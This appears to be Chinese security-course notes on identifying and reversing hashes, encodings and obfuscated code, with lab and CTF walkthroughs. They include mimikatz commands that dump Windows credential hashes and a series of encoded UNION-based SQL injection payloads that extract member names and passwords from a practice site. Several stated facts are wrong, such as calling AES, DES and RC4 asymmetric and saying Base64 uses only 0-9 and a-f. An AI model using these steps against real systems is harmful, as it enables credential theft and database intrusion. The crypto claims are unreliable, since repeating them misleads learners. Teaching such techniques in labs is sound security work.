第4天:基础入门-30余种加密编码进制&Web&数据库&系统&代码&参数值
一、知识点
1. 存储密码加密-Web&数据库&系统
2. 传输数据编码-各类组合传输参数值
3. 代码特性加密-JS&PHP&NET&JAVA
4. 数据显示编码-字符串数据显示编码
二、本课意义:
1.了解加密编码进制在安全测试中的存在
2.掌握常见的加密解密编码解码进制互转的操作
3.了解常见的加密解密编码解密进制互转的影响
旨在解决类似疑问,提供思路:
你是否碰到不知道的加密方式?
你是否碰到无法找到的解密平台?
你是否碰到不知道如何解密的字符串?
你是否准备参加CTF比赛补充此类知识点?
三、详细点:
密码存储加密常见判断:
MD5 SHA1 NTLM AES DES RC4
MD5值是32位或者16位由数字"0-9"和字母"a-f"所组成的字符串
SHA1这种加密的密文特征跟MD5差不多,只不过位数是40
NTLM这种加密是Windows的哈希密码,标准通讯安全协议 系统层面
AES,DES,RC4这些都是非对称性加密算法,引入密钥,密文特征与Base64类似
应用场景:各类应用密文,自定义算法,代码分析,CTF安全比赛等
不可逆不代表是不能破解出来,可以进行爆破
例如:
加密:1*8
解密:密文/8 #这种就是可逆的
1.MD5加密:
md5不可逆
解密:枚举、碰撞
解密不直接通过算法解密,枚举,将每个加密后进行碰撞测试出每个位数对应的加密字数。
例如 :
1123的密文:539f887a5e420412
尝试生成很多的加密或对应明文的字符枚举
对1123进行加密,生成的密文进行比对,这样来进行解密的
2.传输数据编码:
BASE64 URL HEX ASCII
BASE64值是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,结尾通常有符号=
URL编码是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,通常以%数字字母间隔
HEX编码是计算机中数据的一种表示方法,将数据进行十六进制转换,它由0-9,A-F,组成
ASCII编码是将128个字符进行进制数来表示,常见ASCII码表大小规则:0~9<A~Z<a~z
举例:
个人博客-URL解码 http://www.xiaodi8.com/search.php?q=%E5%9F%B9%E8%AE%AD //培训编码
国外WEB-BASE64解码 www.comresearch.org/researchDetails.php?id=MD==
搜狐视频-BASE64解码https://tv.sohu.com/v/MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==.html
20211230/n601145510.shtml的base64就是MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==
应用场景:参数传递(如注入影响),后期WAF绕过干扰写法应用,视频地址还原等
3.代码加密
JS前端代码加密:防止代码进行二次开发,保证版权。
JS颜文字 jother JSFUCK
颜文字特征:一堆颜文字构成的js代码,在F12中可直接解密执行
jother特征:只用! + ( ) [ ] { }这八个字符就能完成对任意字符串的编码。也可在F12中解密执行
JSFUCK特征:与jother很像,只是少了{ }
后端代码加密:
PHP .NET JAVA
PHP:乱码,头部有信息 Zend 字段
.NET:DLL封装代码文件
JAVA:JAR&CLASS文件
举例:Zend ILSpy IDEA
应用场景:版权代码加密,开发特性,CTF比赛等
4.数据加密
数据库密文加密:
MYSQL MSSQL等
数据显示编码:
UTF-8 GBK2312等
识别算法编码类型:
1、看密文位数
2、看密文的特征(数字,字幕,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用)
- Web-ZZCMS-密文-MD5
自己搭建zzcms,放在phpstudy目录下,选择相对应端口就可以进行安装。
本地安装:127.0.0.1:8083
打开数据库连接工具:
pass字段下的密文:21232f297a57a5a743894a0e4a801fc3
放在cmd5.com平台解密:
为什么要用密文存储,为什么能解密还用密文储存
因为有一些密文是不能解密的,不是所有的密文都是能够解密的。
- Web-Discuz-密文-MD5&Salt
搭建:下载源码,放在指定目录,修改upload文件夹名字为bbs,访问bbs,完成搭建。
找到数据库表pre_ucenter_members
有一个字段password和salt这就是MD5和salt
username:admin password:5e96d47b047e7f397db9c6088371b090 salt:bb9486。拿去cmd5.com 解密。
Md5跟salt加密算法:
echo md5(md5('密文').'salt');
如果拿到密码解密不出来,有两种情况:
1.密码过于复制,确实解密不出来
2.还有其他东西,没有获取,比如salt
5.系统-Windows-密文-NTLM&HASH
• 把mimikaz放在虚拟机上,用管理员运行,执行privilege::debug和sekurlsa::logonpasswords。
得到相对应的密文:
NTLM:3575a0334f6346511a5c6766bec85d88
在cmd5.com中,能解密出来:
6.综合-参数-密文传输-AES&BASE64
解密网站:http://tool.chacuo.net/cryptaes
AES密文会受到很多方面的干扰:
密码和偏移量是没办法确定的,如果不知道是不可能解密出来的。密文与base64字符集差不多。
演示mozhe:https://www.mozhe.cn/bug/detail/110
访问地址的时候:http://219.153.49.228:46908/news/list.php?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
参数ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09就是一个密文
拿去base64解密不出,扫描得到:
访问:
下载后发现源代码:
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
发现两次base64解码,而解密平台只有一次解密,所以需要用工具进行一次解码后,在进行平台解密。经过解码,发现明文:
Wp:https://blog.csdn.net/qq_38963246/article/details/99065936
构造查询数据库语句: -1 union select 1,database(),3,4_mozhe,经过编码转化得到:MXVsZkNDTGNMTE9yMTJiVHFyNytGVm0rZ2R4ZHllMHRTbTZBNW4rQ2cwZ3ZMK1NFWFoyMkZ3ZVNUTmF5czgxQw==
得到数据库后,查询数据库的表:
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
经过加密,注入得到:
获取字段:
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
获取数值:
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe
四、代码-解密-解密反编译-Zend&Dll&Jar
Zend:通达OA的index.php是加密的代码,以Zend为开头的代码。解密平台:http://dezend.qiling.org/free.html,将代码上传至平台。这样就可以进行解密,解密要看是否复杂,能不能解密。
Dll:.net是基于Windows开发的一款脚本语言,那么后缀封装成为dll程序,利用到ILSpy工具进行解密,类似于反编译。
- CTF赛题-buuoj-single dog-JS颜文字
Wp:https://blog.csdn.net/qq_53030229/article/details/121254834
kali安装下foremost命令:sudo apt-get update sudo apt-get install foremost 下载完成后,执行foremost命令:
解压发现两个文件:
发现1.txt内容:
复制内容,到http://www.hiencode.com/aaencode.html
解密结果:
- CTF赛题-xuenixiang-Jsfuck-JSFUCK
下载附件,打开查看源代码:
复制到解密平台